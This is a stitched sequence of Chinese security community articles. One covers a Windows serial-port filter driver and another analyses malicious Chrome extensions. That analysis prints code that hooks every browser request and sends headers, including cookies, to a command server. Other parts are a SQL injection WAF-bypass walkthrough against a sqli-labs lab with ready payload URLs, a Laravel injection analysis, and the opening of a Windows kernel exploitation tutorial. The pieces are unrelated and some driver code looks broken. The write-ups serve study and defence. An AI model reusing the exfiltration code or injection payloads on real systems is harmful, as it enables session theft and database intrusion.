因此，我们只有最后一件事需要处理：不管什么时候FltGetFileNameInformationUnsafe调用成功，我们需要确保拿到的路径是文件实际存在的。还有，我们需要验证这个文件是和我们在加载镜像回调中拿到的文件是同一个。
**总结**
****
理论上上一篇博客描述的这个Windows内核的bug，具有潜在的危险，用来欺骗依赖通知机制提供信息的安全产品。这个缺陷看起来来自于一个代码编写错误，从Windows2000最新的Windows10发布版都会收到影响。这意味着只有微软修复了这个bug，安全厂商在windows环境中开发的产品不能依赖回调通知提供的错误信息。安全厂商必须寻找替代的更可信的方法来获取通知机制提供的不可靠信息，希望可以用到本博客中提供的研究内容。 | 社区文章 |
北桥：芯片处理高速信号，如cpu、ram、AGP等
南桥：芯片负责I/O总线直接通信，PCI、SATA、USB、LAN、音频、键盘控制等
#### 串口概念：
串口也就是通常说的COM接口，采用串行通信方式扩展接口，数据bit传输，通信线路简单，用一个传输线就能双向的传输，成本低且适用于远距离通信，但是速度就比较慢了。
USB不是串口，这是一个最基本的概念，如上图中USB接线与串口SATA是两个东西，然而很多人却容易搞混，当然我们编写的.sys驱动并非对硬件直接操作，设备驱动程序叫做系统I/O处理的接口比较合适。
#### 串口过滤：
过滤：简单说不做任何改变，而在过程中添加一层过滤设备。早些年农夫山泉广告，每一滴水源于深山，层层工艺过滤。深山中的水就是源头，通过工具对水进行净化，把灰尘、垃圾和细菌等各种微生物吸附，然后打包成罐发售。
设备驱动过滤也是一样，不改变原封装的接口，我们只需要在中间加一层过滤设备，来对数据进行操作即可，不过对于设备栈来说，你添加的过滤设备是在最顶层。一个设备允许被多个设备绑定，所以每次绑定不来中间插入（我们印象中过滤就是插入到两者中间），而相对于设备栈来说，不允许你插入到中间而是把设备放到的最顶层，就像蒸包子的笼子，一层盖着一层。
_ReactOS_ 系统中是用pnp管理器来对设备拔插通知做处理，Pnp会对每类的设备都创建一个根root device，向上扩展，形成一个设备栈。
#### 功能梳理：
**1\. 如何创建一个过滤设备，或说创建一个设备？IoCreateDevice()**
函数原型：
NTSTATUS
IoCreateDevice(
_In_ PDRIVER_OBJECT DriverObject,
_In_ ULONG DeviceExtensionSize,
_In_opt_ PUNICODE_STRING DeviceName,
_In_ DEVICE_TYPE DeviceType,
_In_ ULONG DeviceCharacteristics,
_In_ BOOLEAN Exclusive,
_Outptr_result_nullonfailure_
_At_(*DeviceObject,
__drv_allocatesMem(Mem)
_When_((((_In_function_class_(DRIVER_INITIALIZE))
||(_In_function_class_(DRIVER_DISPATCH)))),
__drv_aliasesMem))
PDEVICE_OBJECT *DeviceObject
);
The IoCreateDevice routine creates a device object for use by a driver.
**我们挑几个参数说一下：**
DriverObject指向调用者的驱动程序对象的指针，简单点传入你当前驱动的指针就好。
DeviceExtensionSize扩展设备大小，没有扩展设备传入0就好了
DeviceName设备名，过滤设备一般是没有名称的，这个地方可以是NULL
DeviceType这个要与绑定的设备类型一样的
DeviceObject返回新创建的设备对象指针
**示例：**
PDEVICE_OBJECT fltobj = NULL;
status = IoCreateDevice(pDriver,
0,
NULL,
oldobj->DeviceType,
0,
FALSE,
&fltobj);
if(!!NT_SUCCESS(STATUS))
return status;
oldobj->DeviceType是通过IoGetDeviceObjectPointer来获取的,获取你绑定设备驱动的类型
**2\. 创建了如何绑定，也就是关联过滤的设备呢？IoAttachDevice()或IoAttachDeviceToDeviceStack()**
**两种情况：**
一、有设备名称绑定IoAttachDevice()
**函数原型：**
NTSTATUS
IoAttachDevice(
_In_ _When_(return==0, __drv_aliasesMem)
PDEVICE_OBJECT SourceDevice,
_In_ PUNICODE_STRING TargetDevice,
_Out_ PDEVICE_OBJECT *AttachedDevice
);
参数SourceDevice则是我们创建的过滤设备指针，TargetDevice则是绑定的设备名称指针，AttachedDevice返回绑定成功的设备栈指针。
二、没有设备名称绑定IoAttachDeviceToDeviceStack()，官方建议使用IoAttachDeviceToDeviceStackSafe()因为兼容性更高，更安全。
**函数原型：**
PDEVICE_OBJECT IoAttachDeviceToDeviceStack(
PDEVICE_OBJECT SourceDevice,
PDEVICE_OBJECT TargetDevice
);
SourceDevice参数同样是我们创建过滤设备对象指针，TargetDevice是绑定的设备对象指针。
**3\. 串口是在主板上焊好的，如何获取串口的驱动呢？否则也没法绑定，IoGetDeviceObjectPointer()**
**函数原型：**
NTSTATUS IoGetDeviceObjectPointer(
PUNICODE_STRING ObjectName,
ACCESS_MASK DesiredAccess,
PFILE_OBJECT *FileObject,
PDEVICE_OBJECT *DeviceObject
);
ObjectName设备名称，DesiredAccess掩码访问权限，FileObject文件对象指针，DeviceObject逻辑、虚拟或物理设备的设备对象的指针，该函数会让内核的引用计数+2好像，并非加1.
**示例：**
RtlStringCchPrintfW(&name_str, sizeof name_str, L"\\Device\\Serial%d", id);
IoGetDeviceObjectPointer(&name_str, FILE_ALL_ACCESS, &fileobj, &devobj);
简单说当设备调用了IoGetDeviceObjectPointer，对象管理就会产生对应的文件对象。引用计数增加，设备就会被占用，当文件被解引用之后，IoGetDeviceObjectPointer返回的设备对象好像仍可以使用......这就是个安全问题了
**4.停止、卸载过滤？IoDetachDevice（），IoDeleteDevice（）**
**函数原型：**
void IoDetachDevice(
PDEVICE_OBJECT TargetDevice
);
void IoDeleteDevice(
PDEVICE_OBJECT DeviceObject
);
#### 过滤实现：
##### 封装打开串口设备对象:
**当然你可以为了绑定全部串口，只需要将下面的Serial0替换成Serial%d，做个循环即可:**
NTSTATUS prOpenSataobj(PDEVICE_OBJECT *devobj)
{
NTSTATUS status;
ULONG i = 0;
UNICODE_STRING name;
PFILE_OBJECT fileobj = NULL;
RtlInitUnicodeString(&name, L"\\Device\\Serial0");
status = IoGetDeviceObjectPointer(&name, FILE_ALL_ACCESS, &fileobj, devobj);
if (NT_SUCCESS(status))
ObDereferenceObject(fileobj);
return status;
}
##### 封装过滤设备创建、绑定：
PDEVICE_OBJECT oldobj = NULL;
// 调用获取串口对象
prOpenSataobj(&oldobj);
//
PDEVICE_OBJECT prAttachDevobj(PDRIVER_OBJECT pDriver, PDEVICE_OBJECT *oldobj)
{
NTSTATUS status;
PDEVICE_OBJECT fltobj;
PDEVICE_OBJECT nextobj;
// 1. 创建过滤设备
status = IoCreateDevice(pDriver, 0, NULL, oldobj->DeviceType, 0, FALSE, fltobj);
if (!NT_SUCCESS(status))
return status;
// 通讯方式拷贝
// 拷贝重要标志
if (oldobj->Flags & DO_BUFFERED_IO)
fltobj->Flags|= DO_BUFFERED_IO;
if (oldobj->Flags & DO_DIRECT_IO)
fltobj->Flags |= DO_DIRECT_IO;
if (oldobj->Characteristics &FILE_DEVICE_SECURE_OPEN)
fltobj->Characteristics |= FILE_DEVICE_SECURE_OPEN;
// 2. 绑定设备驱动
PDEVICE_OBJECT nrtobj = NULL;
status = IoAttachDeviceToDeviceStackSafe(fltobj, oldobj, &nrtobj);
if (!NT_SUCCESS(status))
{
IoDeleteDevice(fltobj);
fltobj = NULL;
status = STATUS_UNSUCCESSFUL;
return status;
}
// 设置启动状态
fltobj->Flags = fltobj->Flags & ~DO_DEVICE_INITIALIZING;
// 返回顶层设备指针
return nrtobj;
}
##### 封装获取串口数据与过滤下发：
在这之前讲个概念，关于IRP，利用派遣函数了接收了IO请求之后被调用来处理IO请求的函数.
如我们 CreateFileW打开符号链接，三环与驱动建立I/0请求是通过符号链接，而不是驱动设备名称。组 MajorFunction
[IRP_MJ_CREATE] 项就就会被触发，派遣函数原型如下：
DRIVER_DISPATCH DriverDispatch;
NTSTATUS DriverDispatch(
_DEVICE_OBJECT *DeviceObject,
_IRP *Irp
)
我们发现有两个参数设备对象与IRP，那么用户层传递的数据其实系统其实已经将这些参数保存在了 IRP 和 IO_STACK_LOCALTION
的结构中。IRP结构保存了用户层传递进来的参数，用来保存处理不同I/O请求类型的数据，所以是个复杂的结构体，MSDN如下所示：
任何内核模式程序在创建一个IRP时，同时还创建了一个IO_STACK_LOCATION 数组结构：数组中的每个堆栈单元都对应一个将处理该 IRP
驱动程序。头部有 IO_STACK_LOCATION 数组索引，同时也有一个指向该 IO_STACK_LOCATION 的指针。
索引是从1开始，没有0。索引不会设置成 0，否则系统崩溃，底层驱动不调用 IoCallDriver 。驱动程序准备向次低层驱动程序传递IRP时可以调用
IoCallDriver ，工作是递减当前 IO_STACK_LOCATION 索引，使之与下一层的驱动程序匹配。
IoGetCurrentIrpStackLocation 函数就能过获取到当前设备的IO栈，下图是IRP处理的过程：
**用户层通过系统I/O打开文件名，进入内核层由I/O管理器去调用对象管理解析符号链接，这里还会做安全权限检测被打开的对象权限，I/O管理器初始化分配内存IRP，同时创建IO_STACK_LOCALION数组，传递IRP，在IRP的I/O堆栈中获取数据来执行操作，设置I/O处理状态，返回I/O请求，然后释放.**
IRQL:中断请求级别(Interrupt ReQuest Level,IRQL)
用来保证进程的优先级，原子，级别又Dispatch，APC与Passive，这里不做详细说明，后续有时间写一下详细的IRP处理过程.
上述我们已经说了获取串口设备及过滤设备创建与绑定，下面就是获取串口传输的数据，实现自定义的功能，我们如何获取串口数据呢？当然是派遣函数与IRP了。
需要注意:你并知道串口设备使用的那种通讯协议缓冲区进行的数据交换，可能是直接、间接或者 DO_DIRECT_IO
方式。默认是UserBuffer，但是最不安全，一般都会用MdlAddress，但是你需要把所有可能都写上，做好兼容性处理，这是必须做的，否则可能截获不到数据！
// 获取设备的IO栈
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);
PUCHAR buf = NULL;
// 看看派遣函数处理的什么消息，比如是IRP_MJ_CREATE or IRP_MJ_WRITE
if (irpsp->MajorFunction == IRP_MJ_WRITE)
{
// 假设是DO_DIRECT_IO 这种方式或者其他两种方式获取了数据
if (irp->MdlAddress != NULL)
{
buf = (PUCHAR)MmGetSystemAddressForMdlSafe(irp->MdlAddress, NormalPagePriority);
}
// irp->AssociatedIrp.SystemBuffer
// irp->UserBuffer;
ULONG Writesize = irpsp->Parameters.Write.Length;
// 打印串口传输的数据
for(ULONG i = 0; i < Writesize; ++i)
{
KdPrint(("%2X ", buf[i]))；
if(!(Writesize % 16))
KdPrint(("\r\n"))
}
IoSkipCurrentIrpStackLocation(irp)
// 下面返回 IoCallDriver 或者 PoCallDriver 来处理
// 或者做一些其他的事情，比如敏感数据的修改等
}
// 收尾工作
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return STATUS_ERROR;
网上串口过滤代码已经很完善，我们这里主要聊的是过程与思路，Windows设备栈基于这种模式去做的，代码大同小异，以前学习的时候也都是参考书籍与帖子，这里不在贴出综合代码，上述将整个过程及封装函数已示例出来。
很多知识点没有细讲，如IRP的调用过程，MDL映射，通讯机制，IRPQ级别处理机制等等，后续有时间补一篇相关得零散的知识点分享。
**参考：**
《Windows驱动开发技术详解》
《寒江独钓-Windows内核安全编程》 | 社区文章 |
# 隐藏在Chrome中的窃密者
##### 译文声明
本文是翻译文章，文章原作者 noahblog，文章来源：noahblog.360.cn
原文地址：<http://noahblog.360.cn/ua-switcher/>
译文仅供参考，具体内容表达以及含义原文为准。
近日，有[reddit用户反映](https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/)，拥有100k+安装的Google
Chrome扩展程序 User-Agent Switcher存在恶意点赞facebook/instagram照片的行为。
除User-Agent Switcher以外，还有另外两个扩展程序也被标记为恶意的，并从Chrome商店中下架。
目前已知受影响的扩展程序以及版本：
* User-Agent Switcher
* 2.0.0.9
* 2.0.1.0
* Nano Defender
* 15.0.0.206
* Nano Adblocker
* 疑为 1.0.0.154
目前，Google已将相关扩展程序从 Web Store 中删除。Firefox插件则不受影响。
## 影响范围
Chrome Webstore显示的各扩展程序的安装量如下：
* User-Agent Switcher: 100 000+
* Nano Defender: 200 000+
* Nano Adblocker: 100 000+
360安全大脑显示，国内已有多位用户中招。我们尚不清楚有多少人安装了受影响的扩展程序，但从国外社区反馈来看，安装相关插件的用户不在少数，考虑到安装基数，我们认为此次事件影响较为广泛，请广大Chrome用户提高警惕，对相关扩展程序进行排查，以防被恶意组织利用。
国外社区[用户](https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/)和[研究者](https://github.com/partridge-tech/chris-blog/blob/uas/_content/2020/extensions-the-next-generation-of-malware/user-agent-switcher.md)报告了User-Agent
Switcher随机点赞facebook/Instagram照片的行为，虽然我们目前还没有看到有窃取密码或远程登录的行为，但是考虑到这些插件能够收集浏览器请求头（其中也包括cookies），我们可以合理推测，攻击者是能够利用收集到的信息进行未授权登录的。为了防止更进一步危害的发生，我们在此建议受影响的Chrome用户：
* 及时移除插件
* 检查 Facebook/Instagram 账户是否存在来历不明的点赞行为
* 检查账户是否存在异常登录情况
* 修改相关账户密码
* 登出所有浏览器会话
## Timeline
* 8月29日，User-Agent Switcher 更新 2.0.0.9 版本
* 9月7日，User-Agent Switcher 更新 2.0.1.0 版本
* 10月3日，Nano Defender作者jspenguin2017[宣布](https://github.com/NanoAdblocker/NanoCore/issues/362)将 Nano Defender 转交给其他开发者维护
* 10月7日，reddit用户 ufo56 发布[帖子](https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/)，报告 User-Agent Switcher 的恶意行为
* 10月15日，Nano Defender 更新 15.0.0.206 版本，同时：
* 有开发者[报告](https://github.com/NanoAdblocker/NanoCore/issues/362#issuecomment-709386489)新开发者在商店中更新的 15.0.0.206 版本与repository中的代码不符（多了background/connection.js）
* uBlock开发者gorhill对新增代码进行了[分析](https://github.com/NanoAdblocker/NanoCore/issues/362#issuecomment-709428210)
## 代码分析
### User-Agent Switcher
> 影响版本：2.0.0.9, 2.0.1.0
**修改文件分析**
User-Agent Switcher
2.0.0.8与2.0.0.9版本的文件结构完全相同，攻击者仅修改了其中两个文件：js/background.min.js和js/JsonValues.min.js。
三个版本文件大小有所不同文件结构相同
**background.min.js**
js/background.min.js 中定义了扩展程序的后台操作。
攻击者修改的部分代码
完整代码如下所示。
// 完整代码
// 发起到 C2 的连接
var userAgent = io("https://www.useragentswitch.com/");
async function createFetch(e) {
let t = await fetch(e.uri, e.attr),
s = {};
return s.headerEntries = Array.from(t.headers.entries()),
s.data = await t.text(),
s.ok = t.ok,
s.status = t.status,
s
}
// 监听“createFetch”事件
userAgent.on("createFetch", async function (e) {
let t = await createFetch(e);
userAgent.emit(e.callBack, t)
});
handlerAgent = function (e) {
return -1 == e.url.indexOf("useragentswitch") && userAgent.emit("requestHeadersHandler", e), {
requestHeaders: JSON.parse(JSON.stringify(e.requestHeaders.reverse()).split("-zzz").join(""))
}
};
// hook浏览器请求
chrome.webRequest.onBeforeSendHeaders.addListener(handlerAgent, {
urls: ["<all_urls>"]
}, ["requestHeaders", "blocking", "extraHeaders"]);
攻击者添加的代码中定义了一个到 <https://www.useragentswitch.com>
的连接，并hook了浏览器的所有网络请求。当url中未包含 useragentswitch
时，将请求头编码后发送到C2。除此之外，当js代码接收到“createFetch”事件时，会调用 createFetch
函数，从参数中获取uri等发起相应请求。
由此我们推测，如果用户安装了此插件，C2通过向插件发送“createFetch”事件，使插件发起请求，完成指定任务，例如reddit用户提到的facebook/instagram点赞。攻击者能够利用此种方式来获利。
插件发起的网络请求（图片来自reddit）
在处理hook的请求头时，js代码会替换掉请求头中的 -zzz 后再发送，但我们暂时无法得知这样操作的目的是什么。
User-Agent Switcher 2.0.0.9 和 2.0.1.0 版本几乎相同，仅修改了 js/background.min.js
文件中的部分代码顺序，在此不做多述。
**JsonValues.min.js**
js/JsonValues.min.js
中原本为存储各UserAgent的文件。攻击者在文件后附加了大量js代码。经过分析，这些代码为混淆后的[socketio客户端](https://github.com/socketio/socket.io-client)。
攻击者添加的js代码
### Nano Defender
> 影响版本：15.0.0.206
在Nano Defender中，攻击者同样修改了两个文件：
background/connection.js
background/core.js
其中，background/connection.js 为新增的文件，与User-Agent Switcher中的 js/JsonValues.min.js
相同，为混淆后的socketio客户端。
**core.js**
background/core.js 与User-Agent Switcher中的 js/background.min.js
相似，同样hook浏览器的所有请求并发送至C2（<https://def.dev-nano.com/>），并监听dLisfOfObject事件，发起相应请求。
background/core.js 部分修改代码
与User-Agent
Switcher不同的是，在将浏览器请求转发至C2时，会使用正则过滤。过滤原则为C2返回的listOfObject，如果请求头满足全部条件，则转发完整的请求头，否则不予转发。
可以看出，攻击者对原本的转发策略进行了优化，从最初的几乎全部转发修改为过滤转发，这使得攻击者能够更为高效地获取感兴趣的信息。
同样地，core.js在发送请求头之前，会删除请求头中的-zzz字符串。只是这次core.js做了简单混淆，使用ASCII数组而非直接的-zzz字符串。
var m = [45,122,122,122]
var s = m.map( x => String.fromCharCode(x) )
var x = s.join("");
var replacerConcat = stringyFy.split(x).join("");
var replacer = JSON.parse(replacerConcat);
return {
requestHeaders: replacer
}
uBlock的开发者gorhill对此代码进行了比较详细的[分析](https://github.com/NanoAdblocker/NanoCore/issues/362#issuecomment-709428210)，我们在此不做赘述。
### Nano Adblocker
> 影响版本：未知
尽管有[报告](https://chris.partridge.tech/2020/extensions-the-next-generation-of-malware/help-for-users/)提到，Nano Adblocker 1.0.0.154
版本也被植入了恶意代码，但是我们并没有找到此版本的扩展程序文件以及相关资料。尽管该扩展程序已被下架，我们仍旧无法确认Google商店中的插件版本是否为受影响的版本。第三方网站显示的[版本历史](https://www.crx4chrome.com/history/77597/)中的最后一次更新为2020年8月26日，版本号为1.0.0.153。
Nano Adblocker 更新历史
## 版本历史
由于各插件已被Google下架，我们无法从官方商店获取插件详情。根据第三方网站，User-Agent Switcher
[版本历史](https://www.crx4chrome.com/history/86649/)如下：
可以看到，第一个存在恶意功能的插件版本2.0.0.9更新日期为2020年8月29日，而插件连接域名useragentswitch[.]com注册时间为2020年8月28日。
第三方网站显示的 Nano Defender
[版本历史](https://www.crx4chrome.com/history/62766/)显示，攻击者在2020年10月15日在Google Web
Store上更新了15.0.0.206版本，而C2域名dev-nano.com注册时间为2020年10月11日。
## 关联分析
我们对比了User-Agent Switcher和Nano Defender的代码。其中，js/background.js (from ua
switcher)和background/core.js (from nano defender) 两个文件中存在相同的代码。
左图为ua switcher 2.0.0.9新增的部分代码，右图为nano defender新增的部分代码
可以看到，两段代码几乎完全相同，仅对变量名称、代码布局有修改。此外，两段代码对待转发请求头的操作相同：都替换了请求头中的-zzz字符串。
左图为ua switcher 2.0.0.9，右图为nano defender
由此，我们认为，两个（或三个）扩展程序的始作俑者为同一人。
Nano
Defender新开发者创建了自己的[项目](https://github.com/nenodevs/uBlockProtector)。目前该项目以及账户（nenodevs）均已被删除，因此我们无法从GitHub主页获取到有关他们的信息。
攻击者使用的两个域名都是在插件上架前几天注册的，开启了隐私保护，并利用CDN隐藏真实IP，而他们在扩展程序中使用的C2地址
[www.useragentswitch.com](www.useragentswitch.com) 和 [www.dev-nano.com](www.dev-nano.com) 目前均指向了namecheap的parkingpage。
图片来自360netlab
Nano Defender原作者称新开发者是来自土耳其的开发团队，但是我们没有找到更多的信息证实攻击者的身份。
## 小结
攻击者利用此类插件能达成的目的有很多。攻击者通过请求头中的cookie，能够获取会话信息，从而未授权登录；如果登录银行网站的会话被截取，用户资金安全将难保。就目前掌握的证据而言，攻击者仅仅利用此插件随机点赞，而没有更进一步的操作。我们无法判断是攻击者本身目的如此，或者这只是一次试验。
窃取用户隐私的浏览器插件并不罕见。早在2017年，在[v2ex论坛](https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0)就有用户表示，Chrome中另一个名为
User-Agent Switcher
的扩展程序可能存在未授权侵犯用户隐私的恶意行为；2018年卡巴斯基也发布了一篇关于Chrome恶意插件的[报告](https://securelist.com/a-mitm-extension-for-chrome/86057/)。由于Google的审核流程并未检测到此类恶意插件，攻击者仍然可以通过类似的手法进行恶意活动。
## IoCs
f45d19086281a54b6e0d539f02225e1c -> user-agent switcher 2.0.0.9
6713b49aa14d85b678dbd85e18439dd3 -> user-agent switcher 2.0.0.9
af7c24be8730a98fe72e56d2f5ae19db -> nano defender 15.0.0.206
useragentswitch.com
dev-nano.com
## References
<https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/>
<https://www.reddit.com/r/cybersecurity/comments/jeekgw/google_chrome_extension_nano_defender_marked_as/>
<https://github.com/jspenguin2017/Snippets/issues/5>
<https://github.com/NanoAdblocker/NanoCore/issues/362>
<https://github.com/partridge-tech/chris-blog/blob/uas/_content/2020/extensions-the-next-generation-of-malware/user-agent-switcher.md>
[https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0](https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0) | 社区文章 |
# 前言
这里使用`sqli-labs`第一关字符型注入来测试
# union注入测试
## 绕过and 1=1
先使用`and 1=1`和`and 1=2`直接被拦截
这里绕过方法是使用`&&(%26%26)`代替`and`，后面是个条件，可以使用`True`和`False`代替
## 绕过order by
之前版本绕过`order
by`的方法很简单就是使用内联注释，如`/*!order*//**//*!by*/`来绕过，但是现在不行了，于是尝试其它`WAF`绕过方式，发现`order/*!60000ghtwf01*/by`可以实现绕过，数字要大于`50000`，不然就是报错，后面随便接字母
## 绕过union select
尝试使用`order by`的绕过姿势，`union/*!60000ghtwf01*/select`，发现成功绕过
# 绕过database()
直接查询`database()`会被拦截
使用`database/**/()`可以绕过
使用-加上任意一个不存在的函数可以报错出数据库名，比如`-ghtwf01()`
## 绕过schema_name
查询所有数据库名时，使用`schema_name`会被拦截，这里使用内联注释绕过
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(/*!schema_name*/)%20from%20information_schema.schemata),3--+
## 绕过table_name
查询所有数据库名时，使用`table_name`会被拦截，这里使用内联注释绕过
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(/*!table_name*/)%20from%20information_schema.tables%20where%20table_schema=%27security%27),3--+
## 绕过column_name
查询所有数据库名时，使用`column_name`会被拦截，这里使用内联注释绕过，`and`连接的时候`and`换为`%26%26`
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20%26%26%20table_name=0x7573657273),3--+
## 绕过与from的结合查询字段内容
使用`from.`绕过
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(username,0x7e,password,0x7e)%20from.%20users),3--+
# 盲注
## 布尔盲注
查询数据库名长度
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20length(database/**/())=8--+
查询第一个数据库名的第一个字母，过滤了ascii()，这里使用hex()
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!schema_name*/)%20from%20information_schema.schemata%20limit%200,1),1,1))=69)%20--+
然后以此类推即可
查询表名的第一个字母，注意这里数据库名需要十六进制编码才行，否则会被拦截
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!table_name*/)%20from%20information_schema.tables%20where%20/*!table_schema*/=0x7365637572697479%20limit%200,1),1,1))=65)%20--+
查询列名的第一个字母
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20%26%26%20table_name=0x7573657273%20limit%200,1),1,1))=69)%20--+
查询字段第一个字母，限制了`select`与`from`结合使用`from.`
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20username%20from.%20users%20limit%200,1),1,1))=74)%20--+
## 时间盲注
过滤了`sleep()`函数，使用`benchmark()`函数即可，查询规则参考上面布尔盲注 | 社区文章 |
# 0x01 背景
最近研究Laravel框架的代码审计,因为3月份爆出过一个ignore函数的一个漏洞,网上找了些文章,看了下, 自己搭建环境测试,一直没有成功,
自己就详细的审计了一遍
* * *
# 0x02 laravel介绍
Laravel 在全球范围内有着众多用户。该框架在国外很受欢迎，国外用户量远大于国内。当然，国内也有大型企业使用该框架。此次曝出的 SQL
注入漏洞，并不是太通用，需要一定的条件。[直接复制粘贴]
* * *
# 0x03 漏洞测试环境搭建
数据库内容
代码测试:
$validator = Validator::make($request->input(), [
'username' => [
'required',
Rule::unique("users")->ignore($request->input("id"),$request->input("column"))
],
]);
dump($validator->fails());
路由定义:
Route::any("index","UserController@index");
访问测试:
理解这个漏洞之前, 需要了解 **laravel的自动验证** 机制
Rule::unique("users")->ignore($request->input("id"),$request->input("column"))
这种写法不常见,常见的是 Rule::unique("users")->ignore($request->input("id")) 这种写法,
后面的变量如果不写,默认是id, 写上去代表自定义查询字段.
我们可以把测试环境更改为 Rule::unique("users")->ignore($request->input("id")) 然后进行代码跟踪调试
* * *
# 0x04 代码跟踪调试
参数提交内容
?username=admin&id=2
直接下断点
跟踪进入, 注意几个关键点函数即可
关键点1:
ignore函数
直接对ignore 和 idColumn进行赋值 如果idColumn没有传入,默认为id ,然后进入另一个 toString方法
漏洞也是主要对这里进行修复
修复后的代码
laravel社区对这种修复,讨论很多, 认为addslashes 无法根本防止注入, 因为ignore的有些写法还是会引起问题.
后面继续跟踪调试, 就会进入 laravel的PDO操作处理
跟踪的出来的sql语句为:
后续就是进行 PDO查询操作, 因为没有带入exp,所以会正常执行
* * *
# 0x05 注入演示
因为如果是pdo操作, 注入通常是对键名 进行带入, 如果带入进键值的话, 没有任何效果, 这里关键的突破点就是 ignore函数中的 idColumn
变量, 以及 toString() 在处理 ignore中的处理方式
讲传入的id参数修改为: 1","liusha","
url为:
这样传入id,就会对 idColumn 进行覆盖, 默认是id, 现在column 就变为 liusha, 如果这个字段不存在表中 , 这个键名
就会对带入PDO查询操作中,导致报错.
后续生成的sql :
sql的键值带入了我们出入的 liusha 非法字段
最后导致报错
提示不存在 liusha这个column.
ok,演示完成.
* * *
# 0x06 总结
这个漏洞是今年3月份爆出来的, 实际开发中, ignore函数用的比较少, laravel的代码审计 ,
大部分还是审计一些开发作者在开发中的一些不规范写法导致的漏洞. | 社区文章 |
# 【技术分享】HEVD内核漏洞训练——陪Windows玩儿
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[k0shl](http://bobao.360.cn/member/contribute?uid=1353169030)
预估稿费：600RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
前段时间在博客写了一篇关于HEVD内核漏洞利用训练的一篇文章，感觉当时做HEVD收获很大，非常推荐这个训练，这是HackSys Team做的一个Kernel
Driver，里面包含了大量的常见漏洞，而且漏洞原理都非常简单，考验的就是各种各样的利用方法，推荐在Win10下尝试，有各种各样经典的利用方法，比如gsharedInfo，GdiSharedHandleTable，NtAllocateVirtualMemory，替换token的shellcode等等。
对这个训练的研究学习会对内核漏洞的原理，利用方式，Windows下很多常见的数据结构有一个初步的了解，从此打开Ring0的大门。
HEVD项目地址：<https://github.com/hacksysteam/HackSysExtremeVulnerableDriver>
对于内核漏洞入门，我推荐的入门方式就是HEVD -> CVE-2014-4113 ->
MS15-061，第一个是训练，后两个是实际环境中的漏洞。感觉在Ring0实在是太有意思了（不断被吊打，不断爬起来）！
HEVD：<http://bobao.360.cn/learning/detail/3448.html>
CVE-2014-4113：<http://bobao.360.cn/learning/detail/3170.html>
Windows在高版本中采取了越来越多的保护措施来防止漏洞利用，这让攻击变得越来越有意思，很多防护限制让很多漏洞利用变得难上加难，在这篇文章中，我将针对HEVD的一个任意内存读写漏洞，利用Cn33liz的一个Exploit来完成攻击并分析整个过程。
这次攻击有一个主角，那就是Bitmap，本文主要分析在最新Win10版本以及Win8下，Bitmap到底有多强大的威力。
在本文中，我将首先简单介绍一下Bitmap，最新Win10的KASLR机制，对Bitmap造成的影响，以及如何利用Accelerator
Table来bypass
KASLR。接下来我将和大家分享如何用SetBitmap和GetBitmap来完成攻击，以及攻击的主角，_SURFOBJ中的一个关键结构pvScan0。然后我将和大家分享Win10中的一些疑点，可能是坑，反正至今仍有一些疑惑在里面，接下来，我将结合我的偶像MJ0011在HITCON上一个关于Win8安全特性的演讲，移步Win8，来看看Bitmap的超级杀伤力，以及这些安全特性的防护机制。文末我将把我在Win10和Win8下实验的源码放出来，这个源码中包含对抗Win10和Win8的防护机制的一些过程，是基于Cn33liz大牛的源码改写。文中所有的测试都是基于我改写的源码完成的，相应的注释都在源码中，改动源码仓促也不够漂亮，望大家海涵。因为多次重新调试，地址有变化，可以结合文字一起研究学习。
**本文所用原源码项目地址：**<https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteGDI>
关于这个漏洞成因，我不再进行详细的讲解，HackSys
team的Github项目里有详细说明，这个任意写漏洞就是可以向指定地址写进指定值，而没有对写入地址和写入内容的合法性进行检查。测试环境是最新版Win10。
**陪Win10玩儿–CreateBitmap和KASLR**
我之前的那篇HEVD的分享中，是在Windows7下面完成的，在Win7下面，我们拥有很多自由，可以向很多特殊的位置、结构写入shellcode，并且在内核态完成shellcode的执行。但是在Win10中，增加了茫茫多的限制，很多利用变得很困难，shellcode似乎变得不太可行。
而在FuzzySecurity中也提到了data attack，在众多限制下，Bitmap给我们提供了一个极大的便捷，这种攻击手段威力很强，非常有趣。
在Windows10中，我们需要获取Bitmap的内核地址，然后利用Bitmap这种_SURFOBJ结构的一个特殊成员变量来完成攻击，也就是我们后面要提到的pvScan0。
